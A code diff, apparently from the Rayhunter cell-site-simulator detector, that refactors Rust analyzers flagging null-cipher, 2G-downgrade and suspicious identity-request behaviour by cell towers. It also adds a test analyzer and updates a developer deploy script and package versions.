impl ReportMetadata {
/// Normalize the report metadata to the current version
pub fn normalize(&mut self) {
self.report_version = REPORT_VERSION;
}
}
/// Normalizer for analysis report lines that maintains state internally.
/// The first line is expected to be ReportMetadata, and subsequent lines
/// are expected to be AnalysisRow entries.
pub struct AnalysisLineNormalizer {
is_first: bool,
}
impl Default for AnalysisLineNormalizer {
fn default() -> Self {
Self::new()
}
}
impl AnalysisLineNormalizer {
pub fn new() -> Self {
Self { is_first: true }
}
/// Normalize a single line from an analysis report.
/// Returns the normalized JSON string with a newline appended.
pub fn normalize_line(&mut self, line: String) -> String {
if self.is_first {
self.is_first = false;
// the first line is the report metadata. we overwrite the report version there to
// latest, because the output of the remaining lines will follow latest versions
if let Ok(mut metadata) = serde_json::from_str::<ReportMetadata>(&line) {
metadata.normalize();
serde_json::to_string(&metadata).unwrap_or(line) + "\n"
} else {
line + "\n"
}
} else {
// Remaining lines are AnalysisRow, roundtrip them through serde to normalize them.
if let Ok(row) = serde_json::from_str::<AnalysisRow>(&line) {
serde_json::to_string(&row).unwrap_or(line) + "\n"
} else {
line + "\n"
}
}
}
}
#[derive(Serialize, Debug)]
pub struct AnalysisRow {
pub packet_timestamp: Option<DateTime<FixedOffset>>,
@@ -125,12 +216,81 @@ impl AnalysisRow {
}
pub fn contains_warnings(&self) -> bool {
for event in self.events.iter().flatten() {
if matches!(event.event_type, EventType::QualitativeWarning { .. }) {
return true;
}
self.get_max_event_type() != EventType::Informational
}
pub fn get_max_event_type(&self) -> EventType {
self.events
.iter()
.flatten()
.map(|event| event.event_type)
.max()
.unwrap_or(EventType::Informational)
}
}
impl<'de> Deserialize<'de> for AnalysisRow {
fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
where
D: serde::Deserializer<'de>,
{
use serde::de::Error;
#[derive(Deserialize)]
struct V1AnalysisEntry {
timestamp: DateTime<FixedOffset>,
events: Vec<Option<Event>>,
}
#[derive(Deserialize)]
struct V1Format {
timestamp: DateTime<FixedOffset>,
skipped_message_reasons: Vec<String>,
analysis: Vec<V1AnalysisEntry>,
}
#[derive(Deserialize)]
struct V2Format {
packet_timestamp: Option<DateTime<FixedOffset>>,
skipped_message_reason: Option<String>,
events: Vec<Option<Event>>,
}
#[derive(Deserialize)]
#[serde(untagged)]
enum RowFormat {
V1(V1Format),
V2(V2Format),
}
match RowFormat::deserialize(deserializer)? {
RowFormat::V1(v1) => {
// For v1 format, we can only deserialize the first non-skipped analysis entry
// The caller needs to handle multiple rows differently for v1
if let Some(first_analysis) = v1.analysis.first() {
Ok(AnalysisRow {
packet_timestamp: Some(first_analysis.timestamp),
skipped_message_reason: None,
events: first_analysis.events.clone(),
})
} else if let Some(first_reason) = v1.skipped_message_reasons.first() {
Ok(AnalysisRow {
packet_timestamp: Some(v1.timestamp),
skipped_message_reason: Some(first_reason.clone()),
events: Vec::new(),
})
} else {
Err(D::Error::custom(
"V1 format has no analysis entries or skipped reasons",
))
}
}
RowFormat::V2(v2) => Ok(AnalysisRow {
packet_timestamp: v2.packet_timestamp,
skipped_message_reason: v2.skipped_message_reason,
events: v2.events,
}),
}
false
}
}
@@ -175,6 +335,10 @@ impl Harness {
harness.add_analyzer(Box::new(IncompleteSibAnalyzer::new()))
}
if analyzer_config.test_analyzer {
harness.add_analyzer(Box::new(TestAnalyzer::new()))
}
harness
}
@@ -286,3 +450,57 @@ impl Harness {
}
}
}
#[cfg(test)]
mod tests {
use super::*;
use serde_json::json;
#[test]
fn test_analysis_row_deserialize_old_format() {
let row: AnalysisRow = serde_json::from_value(json!({
"packet_timestamp": "2023-01-01T00:00:00+00:00",
"skipped_message_reason": null,
"events": [
{
"event_type": { "type": "QualitativeWarning", "severity": "High" },
"message": "Test warning"
},
{
"event_type": { "type": "Informational" },
"message": "Test info"
},
null
]
}))
.unwrap();
assert_eq!(row.events[0].as_ref().unwrap().event_type, EventType::High);
assert_eq!(
row.events[1].as_ref().unwrap().event_type,
EventType::Informational
);
assert!(row.events[2].is_none());
}
#[test]
fn test_analysis_row_deserialize_new_format() {
let row: AnalysisRow = serde_json::from_value(json!({
"packet_timestamp": "2023-01-01T00:00:00+00:00",
"skipped_message_reason": null,
"events": [
{ "event_type": "High", "message": "Test warning" },
{ "event_type": "Informational", "message": "Test info" },
null
]
}))
.unwrap();
assert_eq!(row.events[0].as_ref().unwrap().event_type, EventType::High);
assert_eq!(
row.events[1].as_ref().unwrap().event_type,
EventType::Informational
);
assert!(row.events[2].is_none());
}
}
@@ -1,8 +1,7 @@
use std::borrow::Cow;
use super::analyzer::{Analyzer, Event, EventType, Severity};
use super::analyzer::{Analyzer, Event, EventType};
use super::information_element::{InformationElement, LteInformationElement};
use super::util::unpack;
use telcom_parser::lte_rrc::{
DL_DCCH_MessageType, DL_DCCH_MessageType_c1, RRCConnectionReleaseCriticalExtensions,
RRCConnectionReleaseCriticalExtensions_c1, RedirectedCarrierInfo,
@@ -14,11 +13,11 @@ pub struct ConnectionRedirect2GDowngradeAnalyzer {}
// TODO: keep track of SIB state to compare LTE reselection blocks w/ 2g/3g ones
impl Analyzer for ConnectionRedirect2GDowngradeAnalyzer {
fn get_name(&self) -> Cow<str> {
fn get_name(&self) -> Cow<'_, str> {
Cow::from("Connection Release/Redirected Carrier 2G Downgrade")
}
fn get_description(&self) -> Cow<str> {
fn get_description(&self) -> Cow<'_, str> {
Cow::from("Tests if a cell releases our connection and redirects us to a 2G cell.")
}
@@ -27,27 +26,26 @@ impl Analyzer for ConnectionRedirect2GDowngradeAnalyzer {
}
fn analyze_information_element(&mut self, ie: &InformationElement) -> Option<Event> {
unpack!(InformationElement::LTE(lte_ie) = ie);
let message = match &**lte_ie {
LteInformationElement::DlDcch(msg_cont) => &msg_cont.message,
_ => return None,
};
unpack!(DL_DCCH_MessageType::C1(c1) = message);
unpack!(DL_DCCH_MessageType_c1::RrcConnectionRelease(release) = c1);
unpack!(RRCConnectionReleaseCriticalExtensions::C1(c1) = &release.critical_extensions);
unpack!(RRCConnectionReleaseCriticalExtensions_c1::RrcConnectionRelease_r8(r8_ies) = c1);
unpack!(Some(carrier_info) = &r8_ies.redirected_carrier_info);
match carrier_info {
RedirectedCarrierInfo::Geran(_carrier_freqs_geran) => Some(Event {
event_type: EventType::QualitativeWarning {
severity: Severity::High,
},
message: "Detected 2G downgrade".to_owned(),
}),
_ => Some(Event {
event_type: EventType::Informational,
message: format!("RRCConnectionRelease CarrierInfo: {carrier_info:?}"),
}),
if let InformationElement::LTE(lte_ie) = ie
&& let LteInformationElement::DlDcch(msg_cont) = &**lte_ie
&& let DL_DCCH_MessageType::C1(c1) = &msg_cont.message
&& let DL_DCCH_MessageType_c1::RrcConnectionRelease(release) = c1
&& let RRCConnectionReleaseCriticalExtensions::C1(c1) = &release.critical_extensions
&& let RRCConnectionReleaseCriticalExtensions_c1::RrcConnectionRelease_r8(r8_ies) = c1
&& let Some(carrier_info) = &r8_ies.redirected_carrier_info
{
match carrier_info {
RedirectedCarrierInfo::Geran(_carrier_freqs_geran) => Some(Event {
event_type: EventType::High,
message: "Detected 2G downgrade".to_owned(),
}),
_ => Some(Event {
event_type: EventType::Informational,
message: format!("RRCConnectionRelease CarrierInfo: {carrier_info:?}"),
}),
}
} else {
None
}
}
}
+5 -9
View File
@@ -3,7 +3,7 @@ use std::borrow::Cow;
use pycrate_rs::nas::NASMessage;
use pycrate_rs::nas::emm::EMMMessage;
use super::analyzer::{Analyzer, Event, EventType, Severity};
use super::analyzer::{Analyzer, Event, EventType};
use super::information_element::{InformationElement, LteInformationElement};
use log::debug;
@@ -59,9 +59,7 @@ impl ImsiRequestedAnalyzer {
// Unexpected IMSI without AttachRequest
(current, State::IdentityRequest) if *current != State::AttachRequest => {
self.flag = Some(Event {
event_type: EventType::QualitativeWarning {
severity: Severity::High,
},
event_type: EventType::High,
message: format!(
"Identity requested without Attach Request (frame {})",
self.packet_num
@@ -73,9 +71,7 @@ impl ImsiRequestedAnalyzer {
// IMSI to Disconnect without AuthAccept
(State::IdentityRequest, State::Disconnect) => {
self.flag = Some(Event {
event_type: EventType::QualitativeWarning {
severity: Severity::High,
},
event_type: EventType::High,
message: format!(
"Disconnected after Identity Request without Auth Accept (frame {})",
self.packet_num
@@ -98,11 +94,11 @@ impl ImsiRequestedAnalyzer {
}
impl Analyzer for ImsiRequestedAnalyzer {
fn get_name(&self) -> Cow<str> {
fn get_name(&self) -> Cow<'_, str> {
Cow::from("Identity (IMSI or IMEI) requested in suspicious manner")
}
fn get_description(&self) -> Cow<str> {
fn get_description(&self) -> Cow<'_, str> {
Cow::from(
"Tests whether the ME sends an Identity Request NAS message without either an associated attach request or auth accept message",
)
+10 -14
View File
@@ -2,9 +2,7 @@ use std::borrow::Cow;
use telcom_parser::lte_rrc::{BCCH_DL_SCH_MessageType, BCCH_DL_SCH_MessageType_c1};
use crate::analysis::util::unpack;
use super::analyzer::{Analyzer, Event, EventType, Severity};
use super::analyzer::{Analyzer, Event, EventType};
use super::information_element::{InformationElement, LteInformationElement};
pub struct IncompleteSibAnalyzer {
@@ -24,11 +22,11 @@ impl IncompleteSibAnalyzer {
}
impl Analyzer for IncompleteSibAnalyzer {
fn get_name(&self) -> Cow<str> {
fn get_name(&self) -> Cow<'_, str> {
Cow::from("Incomplete SIB")
}
fn get_description(&self) -> Cow<str> {
fn get_description(&self) -> Cow<'_, str> {
Cow::from("Tests whether a SIB1 message contains a full chain of followup sibs")
}
@@ -39,16 +37,14 @@ impl Analyzer for IncompleteSibAnalyzer {
fn analyze_information_element(&mut self, ie: &InformationElement) -> Option<Event> {
self.packet_num += 1;
unpack!(InformationElement::LTE(lte_ie) = ie);
unpack!(LteInformationElement::BcchDlSch(sch_msg) = &**lte_ie);
unpack!(BCCH_DL_SCH_MessageType::C1(c1) = &sch_msg.message);
unpack!(BCCH_DL_SCH_MessageType_c1::SystemInformationBlockType1(sib1) = c1);
if sib1.scheduling_info_list.0.len() < 2 {
if let InformationElement::LTE(lte_ie) = ie
&& let LteInformationElement::BcchDlSch(sch_msg) = &**lte_ie
&& let BCCH_DL_SCH_MessageType::C1(c1) = &sch_msg.message
&& let BCCH_DL_SCH_MessageType_c1::SystemInformationBlockType1(sib1) = c1
&& sib1.scheduling_info_list.0.len() < 2
{
return Some(Event {
event_type: EventType::QualitativeWarning {
severity: Severity::Medium,
},
event_type: EventType::Medium,
message: format!(
"SIB1 scheduling info list was malformed (packet {})",
self.packet_num
+1
View File
@@ -6,4 +6,5 @@ pub mod information_element;
pub mod nas_null_cipher;
pub mod null_cipher;
pub mod priority_2g_downgrade;
pub mod test_analyzer;
pub mod util;
+13 -15
View File
@@ -4,7 +4,7 @@ use pycrate_rs::nas::NASMessage;
use pycrate_rs::nas::emm::EMMMessage;
use pycrate_rs::nas::generated::emm::emm_security_mode_command::NASSecAlgoCiphAlgo::EPSEncryptionAlgorithmEEA0Null;
use super::analyzer::{Analyzer, Event, EventType, Severity};
use super::analyzer::{Analyzer, Event, EventType};
use super::information_element::{InformationElement, LteInformationElement};
pub struct NasNullCipherAnalyzer {
@@ -24,11 +24,11 @@ impl NasNullCipherAnalyzer {
}
impl Analyzer for NasNullCipherAnalyzer {
fn get_name(&self) -> Cow<str> {
fn get_name(&self) -> Cow<'_, str> {
Cow::from("NAS Null Cipher Requested")
}
fn get_description(&self) -> Cow<str> {
fn get_description(&self) -> Cow<'_, str> {
Cow::from(
"Tests whether the MME requests to use a null cipher in the NAS security mode command",
)
@@ -48,18 +48,16 @@ impl Analyzer for NasNullCipherAnalyzer {
_ => return None,
};
if let NASMessage::EMMMessage(EMMMessage::EMMSecurityModeCommand(req)) = payload {
if req.nas_sec_algo.inner.ciph_algo == EPSEncryptionAlgorithmEEA0Null {
return Some(Event {
event_type: EventType::QualitativeWarning {
severity: Severity::High,
},
message: format!(
"NAS Security mode command requested null cipher(packet {})",
self.packet_num
),
});
}
if let NASMessage::EMMMessage(EMMMessage::EMMSecurityModeCommand(req)) = payload
&& req.nas_sec_algo.inner.ciph_algo == EPSEncryptionAlgorithmEEA0Null
{
return Some(Event {
event_type: EventType::High,
message: format!(
"NAS Security mode command requested null cipher(packet {})",
self.packet_num
),
});
}
None
}
+16 -18
View File
@@ -8,7 +8,7 @@ use telcom_parser::lte_rrc::{
SecurityModeCommandCriticalExtensions, SecurityModeCommandCriticalExtensions_c1,
};
use super::analyzer::{Analyzer, Event, EventType, Severity};
use super::analyzer::{Analyzer, Event, EventType};
use super::information_element::{InformationElement, LteInformationElement};
pub struct NullCipherAnalyzer {}
@@ -37,10 +37,10 @@ impl NullCipherAnalyzer {
Some(&rat.security_algorithm_config)
}
};
if let Some(security_config) = maybe_security_config {
if security_config.ciphering_algorithm.0 == CipheringAlgorithm_r12::EEA0 {
return true;
}
if let Some(security_config) = maybe_security_config
&& security_config.ciphering_algorithm.0 == CipheringAlgorithm_r12::EEA0
{
return true;
}
}
// Use map/flatten to dig into a long chain of nested Option types
@@ -62,10 +62,10 @@ impl NullCipherAnalyzer {
.as_ref()
.and_then(|scg| scg.mobility_control_info_scg_r12.as_ref())
.and_then(|mci| mci.ciphering_algorithm_scg_r12.as_ref());
if let Some(cipher) = maybe_cipher {
if cipher.0 == CipheringAlgorithm_r12::EEA0 {
return true;
}
if let Some(cipher) = maybe_cipher
&& cipher.0 == CipheringAlgorithm_r12::EEA0
{
return true;
}
}
@@ -90,10 +90,10 @@ impl NullCipherAnalyzer {
Some(&to_5gc.security_algorithm_config_r15)
}
};
if let Some(security_algorithm) = maybe_security_algorithm {
if security_algorithm.ciphering_algorithm.0 == CipheringAlgorithm_r12::EEA0 {
return true;
}
if let Some(security_algorithm) = maybe_security_algorithm
&& security_algorithm.ciphering_algorithm.0 == CipheringAlgorithm_r12::EEA0
{
return true;
}
false
}
@@ -119,11 +119,11 @@ impl NullCipherAnalyzer {
}
impl Analyzer for NullCipherAnalyzer {
fn get_name(&self) -> Cow<str> {
fn get_name(&self) -> Cow<'_, str> {
Cow::from("Null Cipher")
}
fn get_description(&self) -> Cow<str> {
fn get_description(&self) -> Cow<'_, str> {
Cow::from("Tests whether the cell suggests using a null cipher (EEA0)")
}
@@ -153,9 +153,7 @@ impl Analyzer for NullCipherAnalyzer {
};
if null_cipher_detected {
return Some(Event {
event_type: EventType::QualitativeWarning {
severity: Severity::High,
},
event_type: EventType::High,
message: "Cell suggested use of null cipher".to_string(),
});
}
+32 -38
View File
@@ -1,6 +1,6 @@
use std::borrow::Cow;
use super::analyzer::{Analyzer, Event, EventType, Severity};
use super::analyzer::{Analyzer, Event, EventType};
use super::information_element::{InformationElement, LteInformationElement};
use telcom_parser::lte_rrc::{
BCCH_DL_SCH_MessageType, BCCH_DL_SCH_MessageType_c1, CellReselectionPriority,
@@ -16,19 +16,15 @@ impl LteSib6And7DowngradeAnalyzer {
&self,
ie: &'a InformationElement,
) -> Option<&'a SystemInformation_r8_IEsSib_TypeAndInfo> {
if let InformationElement::LTE(lte_ie) = ie {
if let LteInformationElement::BcchDlSch(bcch_dl_sch_message) = &**lte_ie {
if let BCCH_DL_SCH_MessageType::C1(BCCH_DL_SCH_MessageType_c1::SystemInformation(
system_information,
)) = &bcch_dl_sch_message.message
{
if let SystemInformationCriticalExtensions::SystemInformation_r8(sib) =
&system_information.critical_extensions
{
return Some(&sib.sib_type_and_info);
}
}
}
if let InformationElement::LTE(lte_ie) = ie
&& let LteInformationElement::BcchDlSch(bcch_dl_sch_message) = &**lte_ie
&& let BCCH_DL_SCH_MessageType::C1(BCCH_DL_SCH_MessageType_c1::SystemInformation(
system_information,
)) = &bcch_dl_sch_message.message
&& let SystemInformationCriticalExtensions::SystemInformation_r8(sib) =
&system_information.critical_extensions
{
return Some(&sib.sib_type_and_info);
}
None
}
@@ -36,11 +32,11 @@ impl LteSib6And7DowngradeAnalyzer {
// TODO: keep track of SIB state to compare LTE reselection blocks w/ 2g/3g ones
impl Analyzer for LteSib6And7DowngradeAnalyzer {
fn get_name(&self) -> Cow<str> {
fn get_name(&self) -> Cow<'_, str> {
Cow::from("LTE SIB 6/7 Downgrade")
}
fn get_description(&self) -> Cow<str> {
fn get_description(&self) -> Cow<'_, str> {
Cow::from(
"Tests for LTE cells broadcasting a SIB type 6 and 7 which include 2G/3G frequencies with higher priorities.",
)
@@ -62,13 +58,14 @@ impl Analyzer for LteSib6And7DowngradeAnalyzer {
for carrier_info in &carrier_info_list.0 {
if let Some(CellReselectionPriority(p)) =
carrier_info.cell_reselection_priority
&& p == 0
{
if p == 0 {
return Some(Event {
event_type: EventType::QualitativeWarning { severity: Severity::High },
message: "LTE cell advertised a 3G cell for priority 0 reselection".to_string(),
});
}
return Some(Event {
event_type: EventType::High,
message:
"LTE cell advertised a 3G cell for priority 0 reselection"
.to_string(),
});
}
}
}
@@ -76,13 +73,14 @@ impl Analyzer for LteSib6And7DowngradeAnalyzer {
for carrier_info in &carrier_info_list.0 {
if let Some(CellReselectionPriority(p)) =
carrier_info.cell_reselection_priority
&& p == 0
{
if p == 0 {
return Some(Event {
event_type: EventType::QualitativeWarning { severity: Severity::High },
message: "LTE cell advertised a 3G cell for priority 0 reselection".to_string(),
});
}
return Some(Event {
event_type: EventType::High,
message:
"LTE cell advertised a 3G cell for priority 0 reselection"
.to_string(),
});
}
}
}
@@ -96,17 +94,13 @@ impl Analyzer for LteSib6And7DowngradeAnalyzer {
for carrier_info in &carrier_info_list.0 {
if let Some(CellReselectionPriority(p)) =
carrier_info.common_info.cell_reselection_priority
&& p == 0
{
if p == 0 {
return Some(Event {
event_type: EventType::QualitativeWarning {
severity: Severity::High,
},
message:
"LTE cell advertised a 2G cell for priority 0 reselection"
.to_string(),
});
}
return Some(Event {
event_type: EventType::High,
message: "LTE cell advertised a 2G cell for priority 0 reselection"
.to_string(),
});
}
}
}
+75
View File
@@ -0,0 +1,75 @@
use std::borrow::Cow;
use telcom_parser::lte_rrc::{BCCH_DL_SCH_MessageType, BCCH_DL_SCH_MessageType_c1};
use super::analyzer::{Analyzer, Event, EventType};
use super::information_element::{InformationElement, LteInformationElement};
use deku::bitvec::*;
pub struct TestAnalyzer {
packet_num: usize,
}
impl Default for TestAnalyzer {
fn default() -> Self {
Self::new()
}
}
impl TestAnalyzer {
pub fn new() -> Self {
Self { packet_num: 0 }
}
}
impl Analyzer for TestAnalyzer {
fn get_name(&self) -> Cow<'_, str> {
Cow::from("Test Analyzer")
}
fn get_description(&self) -> Cow<'_, str> {
Cow::from(
"This is an analyzer which can be used to test that your rayhunter is working. It will generate an alert for every SIB1 message (a beacon from the cell tower) that it sees. Do not leave this on when you are hunting or it will be very noisy.",
)
}
fn get_version(&self) -> u32 {
1
}
fn analyze_information_element(&mut self, ie: &InformationElement) -> Option<Event> {
self.packet_num += 1;
if let InformationElement::LTE(lte_ie) = ie
&& let LteInformationElement::BcchDlSch(sch_msg) = &**lte_ie
&& let BCCH_DL_SCH_MessageType::C1(c1) = &sch_msg.message
&& let BCCH_DL_SCH_MessageType_c1::SystemInformationBlockType1(sib1) = c1
{
let cid = sib1
.cell_access_related_info
.cell_identity
.0
.as_bitslice()
.load::<u32>();
let plmn = &sib1.cell_access_related_info.plmn_identity_list.0;
let mcc_string: String;
if let Some(mcc) = &plmn[0].plmn_identity.mcc {
mcc_string = format!("{}{}{}", mcc.0[0].0, mcc.0[1].0, mcc.0[2].0);
} else {
mcc_string = "nomcc".to_string();
}
let mnc = &plmn[0].plmn_identity.mnc;
let mnc_string: String = format!("{}{}{}", mnc.0[0].0, mnc.0[1].0, mnc.0[2].0);
return Some(Event {
event_type: EventType::Low,
message: format!(
"SIB1 received (packet {}) CID: {}, PLMN: {}-{}",
self.packet_num, cid, mcc_string, mnc_string
),
});
}
None
}
}
-32
View File
@@ -1,33 +1 @@
// Unpacks a pattern, or returns None.
//
// # Examples
// You can use `unpack!` to unroll highly nested enums like this:
// ```
// enum Foo {
// A(Bar),
// B,
// }
//
// enum Bar {
// C(Baz)
// }
//
// struct Baz;
//
// fn get_bang(foo: Foo) -> Option<Baz> {
// unpack!(Foo::A(bar) = foo);
// unpack!(Bar::C(baz) = bar);
// baz
// }
// ```
//
macro_rules! unpack {
($pat:pat = $val:expr) => {
let $pat = $val else {
return None;
};
};
}
// this is apparently how you make a macro publicly usable from this module
pub(crate) use unpack;
+4 -4
View File
@@ -198,10 +198,10 @@ impl DiagDevice {
return Err(DiagDeviceError::DeviceWriteFailed(err));
}
}
if let Err(err) = self.file.flush().await {
if err.kind() != ErrorKind::WriteZero {
return Err(DiagDeviceError::DeviceWriteFailed(err));
}
if let Err(err) = self.file.flush().await
&& err.kind() != ErrorKind::WriteZero
{
return Err(DiagDeviceError::DeviceWriteFailed(err));
}
Ok(())
}
+1
View File
@@ -25,4 +25,5 @@ pub enum Device {
Tmobile,
Wingtech,
Pinephone,
Uz801,
}
+9 -9
View File
@@ -77,16 +77,16 @@ where
pub async fn get_next_messages_container(
&mut self,
) -> Result<Option<MessagesContainer>, std::io::Error> {
if let Some(max_bytes) = self.max_bytes {
if self.bytes_read >= max_bytes {
if self.bytes_read > max_bytes {
error!(
"warning: {} bytes read, but max_bytes was {}",
self.bytes_read, max_bytes
);
}
return Ok(None);
if let Some(max_bytes) = self.max_bytes
&& self.bytes_read >= max_bytes
{
if self.bytes_read > max_bytes {
error!(
"warning: {} bytes read, but max_bytes was {}",
self.bytes_read, max_bytes
);
}
return Ok(None);
}
let mut buf = Vec::new();
+2 -2
View File
@@ -1,10 +1,10 @@
use serde::Serialize;
use serde::{Deserialize, Serialize};
#[cfg(target_family = "unix")]
use nix::sys::utsname::uname;
/// Expose binary and system information.
#[derive(Serialize, Debug)]
#[derive(Serialize, Deserialize, Debug)]
pub struct RuntimeMetadata {
/// The cargo package version from this library's cargo.toml, e.g., "1.2.3".
pub rayhunter_version: String,
+3 -2
View File
@@ -2,8 +2,9 @@
pushd daemon/web
npm run build
popd
cargo build --profile firmware --bin rayhunter-daemon --target="armv7-unknown-linux-musleabihf" #--features debug
cargo build --profile firmware-devel --bin rayhunter-daemon --target="armv7-unknown-linux-musleabihf" #--features debug
adb shell '/bin/rootshell -c "/etc/init.d/rayhunter_daemon stop"'
adb push target/armv7-unknown-linux-musleabihf/firmware/rayhunter-daemon /data/rayhunter/rayhunter-daemon
adb push target/armv7-unknown-linux-musleabihf/firmware-devel/rayhunter-daemon \
/data/rayhunter/rayhunter-daemon
echo "rebooting the device..."
adb shell '/bin/rootshell -c "reboot"'
+1 -1
View File
@@ -1,6 +1,6 @@
[package]
name = "rootshell"
version = "0.5.0"
version = "0.6.0"
edition = "2024"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
+1 -1
View File
@@ -1,6 +1,6 @@
[package]
name = "telcom-parser"
version = "0.5.0"
version = "0.6.0"
edition = "2024"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html